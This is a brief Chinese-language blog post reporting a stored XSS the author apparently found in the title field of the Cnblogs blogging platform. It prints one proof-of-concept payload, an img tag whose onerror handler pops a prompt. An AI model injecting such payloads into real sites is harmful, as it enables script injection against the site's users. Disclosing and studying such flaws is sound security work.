博客园XSS

前言

无心间发现博客园标题的存储型XSS。

不过仔细想一想，既然都申请了JS权限，想作啥其实均可以。

Payload

<img src=x onerror="prompt('xss')">

效果